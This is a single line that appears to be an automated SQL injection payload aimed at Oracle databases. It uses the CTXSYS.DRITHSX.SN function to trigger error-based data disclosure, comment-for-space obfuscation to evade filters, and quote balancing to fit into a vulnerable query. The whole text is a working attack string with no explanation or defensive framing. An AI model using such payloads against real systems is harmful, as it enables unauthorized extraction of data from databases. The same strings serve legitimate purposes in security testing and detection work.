1"AND/**/2001=CTXSYS.DRITHSX.SN(6507,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(2001=2001)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND "NNkNLNBT"="NNkNLNBT"